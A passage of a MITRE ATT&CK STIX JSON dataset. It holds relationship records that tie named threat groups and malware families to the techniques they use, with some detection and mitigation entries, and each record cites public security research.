2, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/"}],"modified":"2020-03-17T02:21:37.060Z","description":"[Rancor](https://attack.mitre.org/groups/G0075) has used HTTP for C2.(Citation: Rancor Unit42 June 2018)","relationship_type":"uses","source_ref":"intrusion-set--f40eb8ce-2a74-4e56-89a1-227021410142","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0aa3fda2-fd0b-415b-bada-1441a86caf03","type":"relationship","created":"2022-03-09T18:35:37.089Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Fortinet Diavol July 2021","url":"https://www.fortinet.com/blog/threat-research/diavol-new-ransomware-used-by-wizard-spider","description":"Neeamni, D., Rubinfeld, A.. (2021, July 1). Diavol - A New Ransomware Used By Wizard Spider?. Retrieved November 12, 2021."}],"modified":"2022-03-09T19:52:52.997Z","description":"[Diavol](https://attack.mitre.org/software/S0659) can attempt to stop security software.(Citation: Fortinet Diavol July 2021)","relationship_type":"uses","source_ref":"malware--4e9bdf9a-4957-47f6-87b3-c76898d3f623","target_ref":"attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0aa51def-3a75-4c69-8b65-82559d8f4c83","type":"relationship","created":"2020-05-06T18:10:59.308Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro BlackTech June 2017","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/following-trail-blacktech-cyber-espionage-campaigns/","description":"Bermejo, L., et al. (2017, June 22). Following the Trail of BlackTech’s Cyber Espionage Campaigns. Retrieved May 5, 2020."}],"modified":"2020-05-06T18:10:59.308Z","description":"[Kivars](https://attack.mitre.org/software/S0437) has the ability to uninstall malware from the infected host.(Citation: TrendMicro BlackTech June 2017)","relationship_type":"uses","source_ref":"malware--b2d134a1-7bd5-4293-94d4-8fc978cb1cd7","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--0aa994e4-f1a3-4c14-b5e0-f2f6247d6630","created":"2022-06-02T14:01:38.866Z","x_mitre_version":"0.1","external_references":[{"source_name":"Cisco Talos Bitter Bangladesh May 2022","url":"https://blog.talosintelligence.com/2022/05/bitter-apt-adds-bangladesh-to-their.html","description":"Raghuprasad, C . (2022, May 11). Bitter APT adds Bangladesh to their targets. Retrieved June 1, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"(Citation: Cisco Talos Bitter Bangladesh May 2022)","modified":"2022-06-02T14:01:38.866Z","relationship_type":"uses","source_ref":"intrusion-set--7f848c02-4d1e-4808-a4ae-4670681370a9","target_ref":"malware--97cfbdc6-504d-41e9-a46c-78a9f806ff0d","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0aae6418-f1c3-4b93-b40c-a43985ec1376","created":"2022-03-30T14:26:51.857Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SpectorOps Hiding Reg Jul 2017","description":"Reitz, B. (2017, July 14). Hiding Registry keys with PSReflect. Retrieved August 9, 2018.","url":"https://posts.specterops.io/hiding-registry-keys-with-psreflect-b18ec5ac8353"},{"source_name":"Microsoft Reghide NOV 2006","description":"Russinovich, M. & Sharkey, K. (2006, January 10). Reghide. Retrieved August 9, 2018.","url":"https://docs.microsoft.com/sysinternals/downloads/reghide"},{"source_name":"Microsoft RegDelNull July 2016","description":"Russinovich, M. & Sharkey, K. (2016, July 4). RegDelNull v1.11. Retrieved August 10, 2018.","url":"https://docs.microsoft.com/en-us/sysinternals/downloads/regdelnull"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-08-23T21:26:40.718Z","description":"Monitor for API calls associated with concealing Registry keys, such as Reghide. (Citation: Microsoft Reghide NOV 2006) Inspect and cleanup malicious hidden Registry entries using Native Windows API calls and/or tools such as Autoruns (Citation: SpectorOps Hiding Reg Jul 2017) and RegDelNull (Citation: Microsoft RegDelNull July 2016). Other API calls relevant to Registry Modification include RegOpenKeyExA, RegCreateKeyExA, RegDeleteKeyExA, RegDeleteValueExA, RegEnumKeyExA, RegEnumValueExA, among others.\n\nNote: Most EDR tools do not support direct monitoring of API calls due to the sheer volume of calls produced by an endpoint but may have alerts or events that are based on abstractions of OS API calls. Dynamic malware analysis tools (i.e., sandboxes) can be used to trace the execution, including OS API calls, for a single PE binary. ","relationship_type":"detects","source_ref":"x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0aafbc63-2021-4c99-b273-1241943fd959","created":"2019-06-14T16:45:33.927Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"PWC KeyBoys Feb 2017","description":"Parys, B. (2017, February 11). The KeyBoys are back in town. Retrieved June 13, 2019.","url":"https://web.archive.org/web/20211129064701/https://www.pwc.co.uk/issues/cyber-security-services/research/the-keyboys-are-back-in-town.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:22:36.383Z","description":"[KeyBoy](https://attack.mitre.org/software/S0387) can determine the public or WAN IP address for the system.(Citation: PWC KeyBoys Feb 2017)","relationship_type":"uses","source_ref":"malware--5dd649c0-bca4-488b-bd85-b180474ec62e","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0ab3b4aa-55d9-44bb-8563-d7e614641d5a","type":"relationship","created":"2020-07-17T17:34:21.504Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET InvisiMole June 2020","url":"https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf","description":"Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."}],"modified":"2020-10-21T17:45:35.411Z","description":"[InvisiMole](https://attack.mitre.org/software/S0260) has used rundll32.exe for execution.(Citation: ESET InvisiMole June 2020)","relationship_type":"uses","source_ref":"malware--47afe41c-4c08-485e-b062-c3bd209a1cce","target_ref":"attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0ab3c5b0-1536-4b65-9feb-48dd8a9981a1","created":"2024-04-12T10:29:17.242Z","revoked":false,"external_references":[{"source_name":"NKAbuse SL","description":"KASPERSKY GERT. (2023, December 14). Unveiling NKAbuse: a new multiplatform threat abusing the NKN protocol. Retrieved February 8, 2024.","url":"https://securelist.com/unveiling-nkabuse/111512/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-12T10:29:17.242Z","description":"[NKAbuse](https://attack.mitre.org/software/S1107) is initially installed and executed through an initial shell script.(Citation: NKAbuse SL)","relationship_type":"uses","source_ref":"malware--bd2ebee8-7c38-408a-871d-221012104222","target_ref":"attack-pattern--a9d4b653-6915-42af-98b2-5758c4ceee56","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0ab3e47c-29f4-4c17-b84b-609a91086653","created":"2024-08-05T18:21:34.172Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cyphort EvilBunny","description":"Marschalek, Marion. (2014, December 16). EvilBunny: Malware Instrumented By Lua. Retrieved August 5, 2024.","url":"https://web.archive.org/web/20150311013500/http:/www.cyphort.com/evilbunny-malware-instrumented-lua/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-05T18:23:16.772Z","description":"[EvilBunny](https://attack.mitre.org/software/S0396) has used Lua scripts to execute payloads.(Citation: Cyphort EvilBunny)","relationship_type":"uses","source_ref":"malware--a8a778f5-0035-4870-bb25-53dc05029586","target_ref":"attack-pattern--afddee82-3385-4682-ad90-eeced33f2d07","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0ab99fc3-ca4f-4117-930a-26365243108a","created":"2024-03-28T15:36:14.284Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"MSTIC Octo Tempest Operations October 2023","description":"Microsoft. (2023, October 25). Octo Tempest crosses boundaries to facilitate extortion, encryption, and destruction. Retrieved March 18, 2024.","url":"https://www.microsoft.com/en-us/security/blog/2023/10/25/octo-tempest-crosses-boundaries-to-facilitate-extortion-encryption-and-destruction/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-28T15:37:16.860Z","description":"[Scattered Spider](https://attack.mitre.org/groups/G1015) has added additional trusted locations to Azure AD conditional access policies. (Citation: MSTIC Octo Tempest Operations October 2023)","relationship_type":"uses","source_ref":"intrusion-set--44d37b89-a739-4810-9111-0d2617a8939b","target_ref":"attack-pattern--ceaeb6d8-95ee-4da2-9d42-dc6aa6ca43ae","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0ac2c282-04a7-4fb7-b6ac-ec8a9bac6db1","type":"relationship","created":"2022-02-18T16:58:11.978Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft Actinium February 2022","url":"https://www.microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations/","description":"Microsoft Threat Intelligence Center. (2022, February 4). ACTINIUM targets Ukrainian organizations. Retrieved February 18, 2022."}],"modified":"2022-02-18T16:58:11.978Z","description":"[QuietSieve](https://attack.mitre.org/software/S0686) has the ability to execute payloads in a hidden window.(Citation: Microsoft Actinium February 2022)","relationship_type":"uses","source_ref":"malware--03eb4a05-6a02-43f6-afb7-3c7835501828","target_ref":"attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0aca6607-4fa4-4ff3-a928-c35659358e01","created":"2022-08-03T03:25:37.103Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SpecterOps Certified Pre Owned","description":"Schroeder, W. & Christensen, L. (2021, June 22). Certified Pre-Owned - Abusing Active Directory Certificate Services. Retrieved August 2, 2022.","url":"https://web.archive.org/web/20220818094600/https://specterops.io/assets/resources/Certified_Pre-Owned.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-21T20:32:29.685Z","description":"Monitor for the execution of commands and other utilities abused to forge and/or steal certificates and related private keys.(Citation: SpecterOps Certified Pre Owned)","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--7de1f7ac-5d0c-4c9c-8873-627202205331","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0acf511c-5e8d-42af-a837-83e8bb0d65e9","created":"2024-03-11T13:38:15.003Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-11T13:38:15.003Z","description":"This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls.","relationship_type":"mitigates","source_ref":"course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc","target_ref":"attack-pattern--0cc222f5-c3ff-48e6-9f52-3314baf9d37e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0ad2b49a-d35f-464c-a3c6-f9342977fefc","type":"relationship","created":"2020-03-13T21:02:20.018Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-13T21:02:20.018Z","relationship_type":"revoked-by","source_ref":"attack-pattern--ce73ea43-8e77-47ba-9c11-5e9c9c58b9ff","target_ref":"attack-pattern--8c4aef43-48d5-49aa-b2af-c0cd58d30c3d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0ae212be-c07b-4f62-8c5e-9dfc0472254e","type":"relationship","created":"2022-03-22T20:09:04.380Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Malwarebytes RokRAT VBA January 2021","url":"https://blog.malwarebytes.com/threat-analysis/2021/01/retrohunting-apt37-north-korean-apt-used-vba-self-decode-technique-to-inject-rokrat/","description":"Jazi, Hossein. (2021, January 6). Retrohunting APT37: North Korean APT used VBA self decode technique to inject RokRat. Retrieved March 22, 2022."}],"modified":"2022-03-22T20:09:04.380Z","description":"[ROKRAT](https://attack.mitre.org/software/S0240) can modify the `HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\` registry key so it can bypass the VB object model (VBOM) on a compromised host.(Citation: Malwarebytes RokRAT VBA January 2021)","relationship_type":"uses","source_ref":"malware--60a9c2f0-b7a5-4e8e-959c-e1a3ff314a5f","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0ae6d331-80eb-4422-bb28-9145e389b377","created":"2024-08-26T18:07:13.429Z","revoked":false,"external_references":[{"source_name":"Microsoft Moonstone Sleet 2024","description":"Microsoft Threat Intelligence. (2024, May 28). Moonstone Sleet emerges as new North Korean threat actor with new bag of tricks. Retrieved August 26, 2024.","url":"https://www.microsoft.com/en-us/security/blog/2024/05/28/moonstone-sleet-emerges-as-new-north-korean-threat-actor-with-new-bag-of-tricks/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-26T18:07:13.429Z","description":"[Moonstone Sleet](https://attack.mitre.org/groups/G1036) has developed custom malware, including a malware delivery mechanism masquerading as a legitimate game.(Citation: Microsoft Moonstone Sleet 2024)","relationship_type":"uses","source_ref":"intrusion-set--e6db1e55-b199-4b6b-8633-989345ee45e0","target_ref":"attack-pattern--212306d8-efa4-44c9-8c2d-ed3d2e224aa0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0aebf9e4-9730-45ce-877d-f78432c13fad","type":"relationship","created":"2020-09-30T14:23:17.187Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA SoreFang July 2016","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198a","description":"CISA. (2020, July 16). MAR-10296782-1.v1 – SOREFANG. Retrieved September 29, 2020."},{"source_name":"NCSC APT29 July 2020","url":"https://www.ncsc.gov.uk/files/Advisory-APT29-targets-COVID-19-vaccine-development-V1-1.pdf","description":"National Cyber Security Centre. (2020, July 16). Advisory: APT29 targets COVID-19 vaccine development. Retrieved September 29, 2020."}],"modified":"2020-09-30T14:24:43.017Z","description":"[SoreFang](https://attack.mitre.org/software/S0516) can download additional payloads from C2.(Citation: CISA SoreFang July 2016)(Citation: NCSC APT29 July 2020)","relationship_type":"uses","source_ref":"malware--e33e4603-afab-402d-b2a1-248d435b5fe0","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0af12d0f-ef9e-40e7-8b70-d811f412125d","type":"relationship","created":"2021-03-19T21:04:01.003Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Valak July 2020","url":"https://unit42.paloaltonetworks.com/valak-evolution/","description":"Duncan, B. (2020, July 24). Evolution of Valak, from Its Beginnings to Mass Distribution. Retrieved August 31, 2020."}],"modified":"2021-03-19T21:04:01.003Z","description":"[TA551](https://attack.mitre.org/groups/G0127) has used regsvr32.exe to load malicious DLLs.(Citation: Unit 42 Valak July 2020)","relationship_type":"uses","source_ref":"intrusion-set--94873029-f950-4268-9cfd-5032e15cb182","target_ref":"attack-pattern--b97f1d35-4249-4486-a6b5-ee60ccf24fab","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0afa86ee-1253-4f15-87a8-abb46422313b","created":"2023-07-28T16:48:29.357Z","revoked":false,"external_references":[{"source_name":"Sygnia Elephant Beetle Jan 2022","description":"Sygnia Incident Response Team. (2022, January 5). TG2003: ELEPHANT BEETLE UNCOVERING AN ORGANIZED FINANCIAL-THEFT OPERATION. Retrieved February 9, 2023.","url":"https://f.hubspotusercontent30.net/hubfs/8776530/Sygnia-%20Elephant%20Beetle_Jan2022.pdf?__hstc=147695848.3e8f1a482c8f8d4531507747318e660b.1680005306711.1680005306711.1680005306711.1&__hssc=147695848.1.1680005306711&__hsfp=3000179024&hsCtaTracking=189ec409-ae2d-4909-8bf1-62dcdd694372%7Cca91d317-8f10-4a38-9f80-367f551ad64d"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-07-28T16:48:29.357Z","description":"[FIN13](https://attack.mitre.org/groups/G1016) has leveraged default credentials for authenticating myWebMethods (WMS) and QLogic web management interface to gain initial access.(Citation: Sygnia Elephant Beetle Jan 2022)","relationship_type":"uses","source_ref":"intrusion-set--fd66436e-4d33-450e-ac4c-f7810f1c85f4","target_ref":"attack-pattern--6151cbea-819b-455a-9fa6-99a1cc58797d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0afdaf77-82f3-45ce-9316-fa240b51d3b0","created":"2024-05-15T20:01:14.357Z","revoked":false,"external_references":[{"source_name":"CISA AA24-038A PRC Critical Infrastructure February 2024","description":"CISA et al.. (2024, February 7). PRC State-Sponsored Actors Compromise and Maintain Persistent Access to U.S. Critical Infrastructure. Retrieved May 15, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-03/aa24-038a_csa_prc_state_sponsored_actors_compromise_us_critical_infrastructure_3.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-15T20:01:14.357Z","description":"[Volt Typhoon](https://attack.mitre.org/groups/G1017) has identified key network and IT staff members pre-compromise at targeted organizations.(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)\n","relationship_type":"uses","source_ref":"intrusion-set--174279b4-399f-4ddb-966e-5efedd1dd5f2","target_ref":"attack-pattern--cc723aff-ec88-40e3-a224-5af9fd983cc4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0b097893-c35a-4e75-ad26-d13ca0fd8b61","type":"relationship","created":"2021-10-13T13:48:13.507Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Check Point APT34 April 2021","url":"https://research.checkpoint.com/2021/irans-apt34-returns-with-an-updated-arsenal/","description":"Check Point. (2021, April 8). Iran’s APT34 Returns with an Updated Arsenal. Retrieved May 5, 2021."}],"modified":"2021-10-13T13:48:13.507Z","description":"[SideTwist](https://attack.mitre.org/software/S0610) can use GetUserNameW, GetComputerNameW, and GetComputerNameExW to gather information.(Citation: Check Point APT34 April 2021)","relationship_type":"uses","source_ref":"malware--df4cd566-ff2f-4d08-976d-8c86e95782de","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--0b0b4079-f926-4d86-9943-3074b487800c","created":"2022-06-15T13:56:38.366Z","x_mitre_version":"0.1","external_references":[{"source_name":"Accenture Lyceum Targets November 2021","url":"https://www.accenture.com/us-en/blogs/cyber-defense/iran-based-lyceum-campaigns","description":"Accenture. (2021, November 9). Who are latest targets of cyber group Lyceum?. Retrieved June 16, 2022."},{"source_name":"Kaspersky Lyceum October 2021","url":"https://vblocalhost.com/uploads/VB2021-Kayal-etal.pdf","description":"Kayal, A. et al. (2021, October). LYCEUM REBORN: COUNTERINTELLIGENCE IN THE MIDDLE EAST. Retrieved June 14, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"(Citation: Kaspersky Lyceum October 2021)(Citation: Accenture Lyceum Targets November 2021)","modified":"2022-06-16T14:06:32.029Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--f29b7c5e-2439-42ad-a86f-9f8984fafae3","target_ref":"malware--aea6d6b8-d832-4c90-a1bb-f52c6684db6c","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0b10d358-b59f-4fc0-8eaf-37352be9c80b","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Microsoft FinFisher March 2018","description":"Allievi, A.,Flori, E. (2018, March 01). FinFisher exposed: A researcher’s tale of defeating traps, tricks, and complex virtual machines. Retrieved July 9, 2018.","url":"https://cloudblogs.microsoft.com/microsoftsecure/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/"},{"source_name":"FinFisher Citation","description":"FinFisher. (n.d.). Retrieved September 12, 2024.","url":"https://web.archive.org/web/20171222050934/http://www.finfisher.com/FinFisher/index.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T17:23:46.688Z","description":"[FinFisher](https://attack.mitre.org/software/S0182) uses token manipulation with NtFilterToken as part of UAC bypass.(Citation: FinFisher Citation)(Citation: Microsoft FinFisher March 2018)","relationship_type":"uses","source_ref":"malware--a5528622-3a8a-4633-86ce-8cdaf8423858","target_ref":"attack-pattern--86850eff-2729-40c3-b85e-c4af26da4a2d","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0b126adc-3173-4751-978f-96b72913a346","type":"relationship","created":"2020-09-30T14:52:09.009Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA WellMess July 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198b","description":"CISA. (2020, July 16). MAR-10296782-2.v1 – WELLMESS. Retrieved September 24, 2020."}],"modified":"2020-09-30T14:52:09.009Z","description":"[WellMess](https://attack.mitre.org/software/S0514) can collect the username on the victim machine to send to C2.(Citation: CISA WellMess July 2020)","relationship_type":"uses","source_ref":"malware--3a4197ae-ec63-4162-907b-9a073d1157e4","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0b13006f-3662-4175-86b1-607f20895863","created":"2024-02-12T19:57:26.466Z","revoked":false,"external_references":[{"source_name":"Ensilo Darkgate 2018","description":"Adi Zeligson & Rotem Kerner. (2018, November 13). Enter The DarkGate - New Cryptocurrency Mining and Ransomware Campaign. Retrieved February 9, 2024.","url":"https://www.fortinet.com/blog/threat-research/enter-the-darkgate-new-cryptocurrency-mining-and-ransomware-campaign"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-12T19:57:26.466Z","description":"[DarkGate](https://attack.mitre.org/software/S1111) can cloak command and control traffic in DNS records from legitimate services to avoid reputation-based detection techniques. (Citation: Ensilo Darkgate 2018)","relationship_type":"uses","source_ref":"malware--6f6f67c9-556d-4459-95c2-78d272190e52","target_ref":"attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0b15b2f4-ba30-4393-88ec-08235206bfac","created":"2023-05-17T18:27:31.052Z","revoked":false,"external_references":[{"source_name":"Mandiant Suspected Turla Campaign February 2023","description":"Hawley, S. et al. (2023, February 2). Turla: A Galaxy of Opportunity. Retrieved May 15, 2023.","url":"https://www.mandiant.com/resources/blog/turla-galaxy-opportunity"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-05-17T18:27:31.052Z","description":"[ANDROMEDA](https://attack.mitre.org/software/S1074) can download additional payloads from C2.(Citation: Mandiant Suspected Turla Campaign February 2023)","relationship_type":"uses","source_ref":"malware--dcd9548e-df9e-47c2-81f3-bc084289959d","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0b200c14-5808-4cec-a1a4-aadf737fb99e","created":"2024-09-23T22:58:10.958Z","revoked":false,"external_references":[{"source_name":"group-ib_redcurl1","description":"Group-IB. (2020, August). RedCurl: The Pentest You Didn’t Know About. Retrieved August 9, 